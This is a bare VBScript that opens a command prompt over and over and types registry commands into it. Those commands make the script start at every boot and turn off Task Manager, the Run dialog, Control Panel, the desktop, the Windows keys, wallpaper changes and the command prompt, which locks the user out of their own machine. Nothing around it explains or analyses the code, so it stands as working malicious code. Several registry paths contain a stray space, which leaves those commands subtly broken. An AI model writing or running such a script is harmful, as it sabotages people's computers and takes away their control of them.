Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd"
Wscript.Sleep 100
objShell.SendKeys "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v SYSTEMFILE /d %USERPROFILE%\Desktop\ME.vbs"
objShell.Sendkeys "{ENTER}"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd"
Wscript.Sleep 100
objShell.SendKeys "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1"
objShell.Sendkeys "{ENTER}"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd"
Wscript.Sleep 100
objShell.SendKeys "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1"
objShell.Sendkeys "{ENTER}"
objShell.Sendkeys "{Y}"
objShell.Sendkeys "{ENTER}"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd"
Wscript.Sleep 100
objShell.Sendkeys "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer /v NoSetFolders /t REG_DWORD /d 1"
objShell.Sendkeys "{ENTER}"
objShell.Sendkeys "{Y}"
objShell.Sendkeys "{ENTER}"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd"
Wscript.Sleep 100
objShell.Sendkeys "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer /v NoChangeStartMenu /t REG_DWORD /d 1"
objShell.Sendkeys "{ENTER}"
objShell.Sendkeys "{Y}"
objShell.Sendkeys "{ENTER}"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd"
Wscript.Sleep 100
objShell.Sendkeys "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1"
objShell.Sendkeys "{ENTER}"
objShell.Sendkeys "{Y}"
objShell.Sendkeys "{ENTER}"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd"
Wscript.Sleep 100
objShell.Sendkeys "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Network /v NoEntireNetwork /t REG_DWORD /d 1"
objShell.Sendkeys "{ENTER}"
objShell.Sendkeys "{Y}"
objShell.Sendkeys "{ENTER}"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd"
Wscript.Sleep 100
objShell.Sendkeys "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1"
objShell.Sendkeys "{ENTER}"
objShell.Sendkeys "{Y}"
objShell.Sendkeys "{ENTER}"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd"
Wscript.Sleep 100
objShell.Sendkeys "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer /v NoDesktopUpdate /t REG_DWORD /d 1"
objShell.Sendkeys "{ENTER}"
objShell.Sendkeys "{Y}"
objShell.Sendkeys "{ENTER}"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd"
Wscript.Sleep 100
objShell.Sendkeys "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\ActiveDesktop /v NoChangingWallpaper /t REG_DWORD /d 1"
objShell.Sendkeys "{ENTER}"
objShell.Sendkeys "{Y}"
objShell.Sendkeys "{ENTER}"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd"
Wscript.Sleep 100
objShell.Sendkeys "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer /v ClearRecentDocsOnExit /t REG_DWORD /d 1"
objShell.Sendkeys "{ENTER}"
objShell.Sendkeys "{Y}"
objShell.Sendkeys "{ENTER}"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd"
Wscript.Sleep 100
objShell.Sendkeys "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1"
objShell.Sendkeys "{ENTER}"
objShell.Sendkeys "{Y}"
objShell.Sendkeys "{ENTER}"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd"
Wscript.Sleep 100
objShell.SendKeys "reg add HKEY_CURRENT_USER\Software\Policies\Windows\System /v DisableCmd /t REG_DWORD /d 1"
objShell.Sendkeys "{ENTER}"